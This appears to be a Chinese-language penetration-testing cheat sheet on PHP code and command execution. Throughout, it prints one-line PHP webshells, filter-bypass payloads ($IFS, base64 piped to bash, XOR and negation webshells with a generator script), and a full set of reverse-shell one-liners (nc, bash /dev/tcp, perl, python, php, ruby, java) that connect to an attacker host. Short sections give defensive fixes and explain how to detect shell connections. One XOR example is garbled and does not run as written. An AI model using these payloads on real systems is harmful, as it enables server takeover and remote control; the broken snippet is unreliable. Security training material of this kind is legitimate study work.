命令执行和代码执行
代码执行是执行JAVA、PHP等语言代码。命令执行是执行linux系统下的命令。 这两者是有区别的
以下是一些工具:
蚁剑
冰蝎
哥斯拉
代码执行
代码执行漏洞(Code Injection Vulnerability)是指攻击者通过注入恶意代码使得应用程序执行了不安全的操作。这类漏洞通常发生在用户输入数据未经充分验证和过滤的情下,被直接传递给解释器或编译器执行
在PHP中,允许我们自行传入php代码并执行。
PHP官方的函数手册
一般我们常用的有以下几种:
eval()
传入的参数作为PHP代码执行,该字符串必须是合法的代码,且必须以分号结尾
<?php @eval($_POST['cmd']); ?>
assert()
传入的参数作为PHP代码执行,通常不需要分号结尾
<?php @assert($_POST['cmd']); ?>
call_user_func()
call_user_func($func,$string) 该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。如果回调函数是assert
,则可以执行传入的代码。
<?php call_user_func("assert", $_POST['cmd']); ?>
creat_function()
create_function($args, $code) 通过执行代码字符串创建动态函数,本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 create_function() 是一个 PHP 内置函数,用于动态创建并执行一个匿名函数
<?php $func=create_function('',$_POST['code']); $func(); ?>
array_map()
对数组的每个元素应用回调函数,用于将一个或多个数组中的每个元素都传递给回调函数进行处理,并返回一个处理后的新数组。如果回调函数是assert
,则可以执行传入的代码
<?php array_map("assert",array($_POST['cmd'])); ?>
call_user_func_array()
调用回调函数,并将一个数组作为参数传入
<?php call_user_func_array("assert",array($_POST['cmd'])); ?>
array_filter()
用回调函数过滤数组,如果回调函数是assert
,则可以执行传入的代码
<?php array_filter(array($_POST['cmd']),"assert"); ?>
uasort()
使用用户自定义的比较函数对数组进行排序,如果比较函数是assert
,则可以执行传入的代码
<?php uasort(array(), "assert"); ?>
preg_replace()
通过正则表达式替换字符串,如果使用/e
修饰符,替换内容会被作为PHP代码执行
<?php preg_replace('/.*/e', $_POST['cmd'], ''); ?>
代码执行防御方法
- 使用 json 保存数组,当读取时就不需要使用 eval 了
- 对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单)
- 字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔术引号(php5.4后被弃用)、htmlspecialchars、 htmlentities、mysql_real_escape_string)
- 放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换(preg_replace_callback()) (PHP5.5 以上的版本中已被弃用)
- 若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)
命令执行
命令执行漏洞(Command Injection Vulnerability)是一种常见的 Web 安全威胁,攻击者利用该漏洞在受害者服务器上执行恶意命令。命令执行漏洞通常发生在用户输入数据未经充分验证和过滤的情况下,被直接传递给系统命令解释器执行,在PHP中,允许我们执行系统程序命令。一般有以下函数:
system()
执行外部程序,并且显示输出,返回值是状态码,执行成功返回0
string system(string $command[, int &$return_var])
$command 为执行的命令, &return_var 可选,用来存放命令执行后的状态码system() 函数执行有回显,将执行结果输出到页面上
<?php system("whoami");?>
passthru()
执行外部程序并且显示原始输出,返回值运行后的输出
void passthru(string $command[, int &$return_var])
和system 函数类似, $command 为执行的命令, &return_var 可选,用来存放命令执行后的状态码执行有回显,将执行结果输出到页面上
<?php passthru("whoami");?>
exec()
执行一个外部程序
string exec(string$command[, array &$output[, int &$return_var]])
$command 是要执行的命令, $output 是获得执行命令输出的每一行字符串, $return_var 用来保存命令执行的状态码(检测成功或失败)
exec() 函数执行无回显,默认返回最后一行结果
<?php echo exec("whoami");?>
pcntl_exec()
在当前进程空间执行指定程序
void pcntl_exec(string $path[, array $args[, array $envs]])
path 是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本
args 是一个要传递给程序的参数的字符串数组。
pcntl 是linux 下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
pcntl_exec 函数的作用是在当前进程空间执行指定程序,版本要求: PHP > 4.2.0
<?php pcntl_exec( "/bin/bash" , array("whoami"));?>
shell_exec()
通过 shell 执行命令并将完整的输出以字符串的方式返回
string shell_exec(string &command)
&command 是要执行的命令, shell_exec() 函数默认无回显,通过 echo 可将执行结果输出到页面
<?php echo shell_exec("whoami");?>
// 通过 shell 环境执行命令,将完整的输出以字符串的方式返回
popen()
打开进程文件指针
resource popen(string $command ,string $mode)
函数需要两个参数,一个是执行的命令 command ,另外一个是指针文件的连接模式 mode ,有 r和w代表读和写。
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
popen() 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose()来关闭。
此指针可以用于 fgets() ,fgetss() 和 fwrite()
//<?php popen( 'whoami', 'w' ); ?>
反引号`
执行shell命令并返回输出
<?php $output = $_POST[`cmd`]; ?>
绕过
空格绕过
$IFS
IFS 是一个环境变量,用于定义 shell 解释器在解析命令行输入时使用的字段分隔符。默认情况下,$IFS
通常被设置为以下字符之一:
- 空格
- 制表符
- 换行符
当用户在 shell 中输入命令时, shell 解释器会将整个命令行输入拆分为多个参数,并以 $IFS 中指定的字符作为字段分隔符进行拆分,最后重新组合赋值给该变量。 直接用$IFS
的话,会认为解析没结束,会把后面的也当做参数解析,比如 cat$IFSflag.php
,会把 IFSflag
一起当变量解析。这时候需要在 $IFS
后面进行截断,使解析为空,结束 $IFS
,正常执行后面的内容。 $IFS
环境变量不仅适用于 shell 解释器,还适用于其他一些命令和程序
假设我们想要执行cat file.txt
命令,但是空格被限制了,我们可以使用$IFS
来绕过
cat${IFS}file.txt
标准输入
重导向标准输出
whoami>text.txt
# 可以将命令的执行结果写到某个文件里面
< 重导向标准输入
cat<text.txt
# 比如cat就可以接收输入重定向的内容,并且显示出来
通配符
*** 匹配任意长度任意字符**
cat ha*
# 匹配上ha开头的文件
? 匹配任意单个字符
cat haha.t?t
# 只能匹配上haha.txt,而haha.jpg就不能匹配上
[ ] 匹配括号内列出的任意一个字符
ls file[123].txt
# 列出当前目录下file1.txt、file2.txt、file3.txt
[ - ] 匹配在括号内指定的字符范围内的任意一个字符。字符范围由两个字符定义,表示从第一个字符到第二个字符之间的所有字符,包括这两个字符本身
ls file[a-z].txt
# 列出当前目录下所有以file开头,后面跟一个a到z之间的小写字母,然后是.txt的文件
[^ ] 匹配不在括号内列出的任意一个字符。这被称为否定字符集
ls file[^abc].txt
# 列出当前目录下所有以file开头,后面跟一个不是a、b或c的字符,然后是.txt的文件
{}
cat demo.ph{a..z}
# 会查看demo.pha一直到demo.phz文件,中间有一个会被匹配上
%variable:~offset,length%
这是Windows批处理中用于字符串截取的语法
offset
:表示从哪个字符开始截取。如果是负数,表示从字符串的末尾开始计数length
:表示截取的长度。如果是负数,表示截取到字符串末尾之前的指定数量字符
例如:
在Windows 中, %commonprogramfiles% 是一个系统环境变量,表示所有用户共享的程序文件夹(例如C:\Program Files\Common Files )。而 %commonprogramfiles:~17,-6% 可以从 %commonprogramfiles% 变量的第 17 个字符开始,截取到倒数第 6个字符之前的子字符串,然后将结果作为新的字符串值使用。 具体而言, :~17,-6 表示:
- ~17 :从第 17 个字符开始截取。
- -6 :截取到倒数第 6 个字符之前。
因此,如果 %commonprogramfiles% 的值为 "C:\Program Files\Common Files" , 则%commonprogramfiles:~17,-6% 的值应该是 "Common" 。这是因为从第 17 个字符开始到倒数第 6 个字符之前的子字符串就是 "Common"
常用payload:
- linux:
cat$IFS$1flag.php // 使用特殊变量, $1 改成 $加其他数字也可以
cat${IFS}flag.php // 使用 {}
cat$IFS'f'lag.php // 使用引号
cat$IFS\flag.php // 使用转义符
cat$IFS?lag.php // 使用通配符
cat<flag.php // 重定向标准输出
cat<flag.php>haha.txt // 重定向标准输出
{cat,flag.php} // 用逗号实现了空格功能
ca\t fl\ag.php // 转义
%20 或%09 //%20 是空格、 %09 是tab (如果是防火墙过滤空格,可能会忽略url编码后的字符)
ca\t fla[a-z].php // 取值范围
- windows:
type.\shell.php
type,shell.php
fuzz字典
Fuzz testing,也叫做模糊测试或随机测试,是一种自动化软件测试方法。它使用大量随机数据输入,以观察程序在面对非正常输入时会发生什么。该方法的主要目的是发现程序中的漏洞、错误或异常行为,以便针对这些问题进行修复和改进。Fuzz测试可以应用于各种软件应用程序,包括计算机操作系统、网络协议、数据库管理系统等。 通过fuzz字典,我们将内容提交给网站,观察返回的页面,从而推断出可能存在的屏蔽和绕过的可能 关于fuzz字典的收集,参照
相关链接
读取文件
如果前面各种Linux查看文件的命令都被拦截了我们可以使用几个函数来读取文件内容
paste
paste 命令用于将多个文件的内容按列合并到一起。该命令从每个输入文件中读取一行文本,并在输出中使用制表符分隔它们
diff
diff 命令是一个在 Linux 系统中用于比较文本文件之间差异的命令。它可以帮助用户查找和标识文件之间的修改、添加或删除行等差异
od
od命令主要是用于分析和查看二进制文件的内容,对于文本文件,它主要用于查看文件的ASCII码
od -a shell.php
curl
curl file:///root/shell.php
base64
echo YWJjZGU=|base64 -d // echo abcde
echo Y2F0IC9yb290L3NoZWxsLnBocAo=|base64 -d|bash #cat /root/shell.php
echo Y2F0IC9ob21lL3QvZmxhZy5waHA=|base64 -d|sh #cat /root/shell.php
unicode编码
printf "\154\163" # ls
printf "\u0063\u0061\u0074\u0020\u002f\u0072\u006f\u006f\u0074\u002f\u0073\u0068\u0065\u006c\u006c\u002e\u0070\u0068\u0070"
# cat /root/shell.php
拼接
将字符串拼接在一起绕过
a=l;b=s;$a$b
a=cat;b=/root/shell.php;$a<$b
a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d
未定义的变量
未定义的变量就是不存在,可以随意拼接来绕过
cat$x shell.php
连接符
cat sh'e'll.php
c'a't$x sh'e'll.php
长度限制绕过
通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用shell_exec等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件
- 重定向写入
ls > a
cat a
- 命令换行
cat \
> shell\
> .php
source
使用source <文件名>用当前的shell执行一个文件中的命令 在linux下source可以利用.代替
source shell.php
. shell.php
特殊姿势
无参RCE
无参RCE(Remote Code Execution)是一种 Web 漏洞攻击技术,其目的是通过向远程服务器发送恶意请求,以执行任意代码并控制受害者系统。 无参指的是攻击者不需要提供任何参数或数据即可触发漏洞,从而执行恶意代码。这通常是由于缺少输入验证和过滤导致的。 无参RCE攻击通常利用Web应用程序的漏洞,例如未正确验证用户输入,或使用了已知的安全漏洞或错误配置。攻击者可以构造恶意请求,将攻击代码注入到应用程序中,并在服务器上执行该代码。 以下内容可自由搭配。并在php代码中调试
数组操作
函数 | 功能 |
---|---|
curent | 返回数组中当前元素的值 |
array_reverse | 以相反的顺序返回数组 |
array_rand | 随机取出数组中的一个或多个单元 |
array_filp | 交换数组的键和值 |
getallheaders | 包含当前请求所有头信息的数组 |
get_defined_vars | 返回数组中的单元且初始指针指向数组的第一个单元 |
session_id | 返回当前会话ID |
session_start | 启动新会话或者重用现有会话 |
scandir(directory,sorting_order,context) | 以数组形式返回文件和目录,第一个参数是目录,第二个是排序方式 |
end | 将数组中的内部指针指向最后一个单元 |
key | 从关联数组中取得键名 |
each | 返回数组中当前的键值对,并将数组指针向前移动一步 |
prev | 将数组的内部指针倒回一位 |
reset | 将数组的内部指针指向第一个单元 |
next | 将数组的内部指针向前移动一位 |
文件操作
函数 | 功能 |
---|---|
Localeconv() | 返回包含本地数字及货币格式信息的数组,该函数的第一个值就是”.” |
Print_r() | 打印变量 |
Readfile | 读取文件并写入到输出缓冲。 |
pos | 取第一个值 |
chdir | 用来跳目录的,将PHP的当前目录改为directory |
file_get_contents() | 将整个文件读入一个字符串 |
highlight_file()/show_source() | 语法高亮一个文件 |
scandir() | 列出指定路径中的文件和目录 |
direname() | 给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 |
dirname() | 目录上跳,返回父目录的路径 |
getcwd() | 取得当前工作目录 |
get_defined_vars() | 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 |
getenv | 获取一个环境变量的值 |
phpversion() | 获取当前的PHP版本 |
其他函数
函数 | 功能 |
---|---|
chr() | 返回指定的字符 |
rand() | 产生一个随机整数 |
time() | 返回当前的Unix时间戳 |
localtime() | 取得本地时间 |
localtime(time()) | 返回一个数组,Array[0] 为一个0~60之间的数字 |
hex2bin() | 转换十六进制字符串为二进制字符串 |
ceil() | 进一法取整 |
sinh() | 双曲正弦 |
cosh() | 双曲余弦 |
tan() | 正切 |
floor() | 舍去法取整 |
sqrt() | 平方根 |
crypt() | 单向字符串散列 |
hebrevc | 将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符 |
hebrevc(crypt(arg))[crypt(serialize(array()))] | 可以随机生成一个hash值 第一个字符随机是$(大概率)或者.(小概率)然后通过ord chr只取第一个字符 |
ord() | 返回字符串的第一个字符的ASCII码值 |
无字母数字webshell
异或
PAYLOAD代码生成示例代码:
<?php
// 使用异或操作生成字母 'a'
$char_a = ('4'^'>').''; // 结果是 'a'// 使用异或操作生成字母 'l'
$char_l = ('|'^'4').'';// 使用异或操作生成字母 'e'
$char_e = ('~'^'`').'';// 使用异或操作生成字母 'c'
$char_c = ('_'^'}').'';// 使用异或操作生成字母 't'
$char_t = ('('^')').'';// 组合字符以形成 'assert'
$assert =$char_a.$char_s.$char_s.$char_e.$char_r.$char_t;// 使用异或操作生成一个字符串
$code = ('4'^'>').('('|'^').'~'^'`').'_'^'}').')'^'('; // 结果是 'eval'// 使用异或操作生成要执行的代码
$payload = ('@'^'`').'r'^'v').'u'^'t').'n'^'o').'i'^'p').'t'^'l').'a'^'s').'s'^'e').('4'^'>').('('|'^').'~'^'`').'_'^'}').')'^'('; // 结果是 'system("id");'// 执行代码
@$assert($code($payload));
?>
下面这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)
<?php
$shell = "_POST";
$result1 = "";
$result2 = "";
for($num=0;$num<strlen($shell);$num++)
{for($x=33;$x<126;$x++){if(judge(chr($x))){for($y=33;$y<=126;$y++){if(judge(chr($y))){$f = chr($x)^chr($y);if($f == $shell[$num]){$result1 .= chr($x);$result2 .= chr($y);break 2;}}}}}
}
echo "'" . $result1;
echo "'^'";
echo $result2 . "'";function judge($c)
{if(!preg_match('/[a-z0-9]/is',$c)){return true;}return false;
}
?>
示例payload:
http://localhost:8080/test.php?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo其实传入的是shell=$_GET{%ff特殊字符}();&%ff特殊字符=phpinfo
当服务器读取$_GET['shell']的时候,会拿到一堆乱码,所以waf无法通过规则过滤
即使过滤了所有的字母和数字,一样会触发代码执行漏洞
取反
取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0
<?php
$a = urlencode(~'phpinfo');
echo $a;
// %8F%97%8F%96%91%99%90
?>
PHP 5 和 PHP 7 的区别 (1)在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()
这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但 PHP 7.0.12 下还能这样调用) (2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
disable_function
可以在phpinfo中查看disable_function,这个其实就是在后端的php.ini写了禁用的函数。因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有
- highlight_file()
- file_get_contents()
- show_source()
- fgets()
- file()
- readfile()
shell监听
Shell 是用户控制计算机的“命令接口”,比如输入指令让电脑执行操作。反弹 Shell(Reverse Shell)就是让受害者的电脑主动把控制权“送”给攻击者——比如攻击者先在自家电脑开个端口“蹲守”,受害者的电脑(因中木马或漏洞)主动连过来,把 Shell 权限传过去。这样攻击者就能远程操控受害者电脑,输入的命令由受害者执行后再回传结果。
为什么用反弹? 通常是因为受害者电脑在防火墙后、内网里或 IP 总变,攻击者无法直接连进去,但受害者能主动连出(比如访问外网)。这招绕过了网络限制,类似让受害者“自己上门交货”,隐蔽又实用。对比正向 Shell(比如 SSH 远程登录),反弹 Shell 是“反客为主”,更适合突破复杂网络环境
nc的使用
服务端
在攻击的机器上监听一个端口,等待目标机器的连接
nc -lvp 监听端口
客户端(目标机器)
在目标机器上,执行以下命令以连接到攻击的机器并反弹一个shell:
nc 攻击者IP 监听端口 -e /bin/sh
nc
的选项在不同的版本中可能有所不同。上面的例子适用于传统的Netcat版本。在OpenBSD版本的nc
中,-e
选项不可用,需要使用其他方法来反弹shell- 使用
-v
选项可以提供更多的输出信息,有助于调试 - 使用
-p
选项可以在服务端指定一个源端口 - 确保网络策略允许目标机器到攻击机器的出站连接
- 反弹shell的活动可能会被入侵检测系统(IDS)检测到
bash版本
如果客户端未安装nc(这个是由解析shell的bash完成,所以某些情况下不支持)
bash -i >& /dev/tcp/ip地址/端口号 0>&1
telnet版本
当nc不可用或/dev/tcp不可用时可以考虑telnet客户端
mknod backpipe p && telnet IP地址 端口号 0<backpipe | /bin/bash 1>backpipe
perl版本
如果服务器环境存在perl,还可以使用perl版本
perl -e 'use Socket;$i="IP地址";$p=端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"IP地址:端口号");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
python版本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP地址",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
或者
python -c "exec(\"import socket, subprocess;s =socket.socket();s.connect(('IP地址',端口号))\nwhile 1: proc =subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
php版本
php -r '$sock=fsockopen("IP地址",端口号);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby版本
不依赖于/bin/sh的shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.172.130","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目标系统运行Windows (未进行验证)
ruby -rsocket -e 'c=TCPSocket.new("192.168.173.130","2333");while(cmd=c.gets);IO.popen(cmd,"r")
java版
未进行验证
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
检测shell连接
可以通过对本机进程的状态,网络连接的状态进行排查 在 TCP/IP 协议中,TCP 连接可以有多种状态,不同的状态代表连接处于不同的工作阶段或状态。下面是一些常见的 TCP 连接状态:
- LISTEN // 表示当前主机正在监听并等待传入连接请求。
- SYN_SENT // 表示客户端发送了一个 SYN 包,请求建立连接,并等待服务器回复。
- SYN_RECEIVED // 表示服务器收到了客户端的 SYN 包,并发送了一个 SYN/ACK 包回复,表示准备建立连接。
- ESTABLISHED // 表示连接已成功建立,正在进行数据传输和通信。
- FIN_WAIT_1/FIN_WAIT_2 // 表示连接被远程主机关闭,但本地主机尚未完成所有数据传输操作。
- CLOSE_WAIT // 表示本地主机已经关闭了连接,但远程主机仍在传输数据。
- CLOSING // 表示连接正在两个方向上同时关闭。
- TIME_WAIT // 表示连接已经关闭,但本地主机还在等待可能延迟的数据包。
- LAST_ACK // 表示本地主机发送了一个 FIN 包,请求关闭连接,并等待远程主机的 ACK响应。
对于每个连接,其状态会在TCP头部信息中进行标记,并通过网络工具(如netstat、ss等)进行显示。 检查TCP连接状态可以帮助用户了解网络连接是否正常工作,以及哪些进程或应用程序在使用网络资源,从而进行故障排除和性能分析等操作
lsof
lsof是一个常用的系统工具,用于列出当前系统打开的所有文件(包括网络套接字、硬件设备、进程和用户等),以及它们的相关信息和属性。lsof可以帮助用户了解系统中正在运行的进程和它们所使用的文件、端口和套接字,以便进行故障排除、性能调优和安全审计等操作
- lsof -i // 列出当前打开的网络套接字和端口。
- lsof -u // 列出指定用户的所有打开文件和进程。
- lsof -p // 列出指定进程 ID 的所有打开文件和套接字。
- lsof -c // 列出指定进程名称的所有打开文件和套接字。
- lsof -i : // 列出指定端口的所有监听进程和套接字。
- lsof -i TCP: // 列出指定 TCP 端口的所有监听进程和套接字。
- lsof -i UDP: // 列出指定 UDP 端口的所有监听进程和套接字。
- lsof -n // 禁止主机名解析
lsof命令需要root或相应权限才能访问所有进程和文件
netstat
netstat是一个常用的网络工具,用于显示当前系统的网络连接和网络统计信息。netstat可以列出打开的端口、监听的端口、网络连接状态、网络接口信息等,并可以输出各种格式的报告以及进行网络故障排除和性能分析等操作
- netstat -a // 列出所有打开的端口和套接字。
- netstat -o // 列出所有连接的进程 ID 。
- netstat -t // 只列出 TCP 协议相关的端口和连接状态。
- netstat -u // 只列出 UDP 协议相关的端口和连接状态。
- netstat -n // 使用数字格式显示 IP 地址和端口号,而不进行主机名解析。
- netstat -p // 同时显示进程名称和 ID ,以及它们所使用的网络连接和端口。
- netstat -r // 显示当前系统的路由表和路由信息。
- netstat -i // 显示当前系统的网络接口信息和统计数据。
netstat命令的选项和输出格式可能因操作系统和版本而有所差异
ps
ps命令是一个用于显示当前系统进程状态和信息的常用工具。它可以列出所有正在运行的进程,并显示它们的PID(进程 ID)、PPID(父进程 ID)、CPU 占用率、内存占用、启动时间、命令名等相关信息,以便进行进程管理、性能分析和故障排除等操作
- ps -ef // 列出所有进程的详细信息,包括进程的所有者、 PID 、占用 CPU 和内存的百分比、命令名等。
- ps -aux // 类似于 -ef ,但会显示更多的进程信息,如进程的启动时间、运行时间、命令行参数等。
- ps -p // 显示指定 PID 的进程信息。
- ps -C // 显示指定命令名称的进程信息。
- ps -u // 显示指定用户名称的进程信息。
- ps -o // 自定义输出格式,可以选择要显示的列和它们的顺序、标题等。
ps命令的选项和输出格式可能因操作系统和版本而有所差异
ls
ls -al /proc/****/fd
命令会显示指定进程的文件描述符目录,其中包含了所有该进程打开的文件和 设备。ls命令的-al选项表示以详细列表格式显示目录内容,包括文件权限、所有者、大小、时间戳等信 息。由于这个命令需要访问 "/proc" 文件系统,因此需要 root 或相应权限才能运行。同时, 在使用 grep 命令时,使用正确的搜索条件和选项,以避免输出不必要的信息或误判结果
sudo ls -al /proc/****/fd |grep "tty"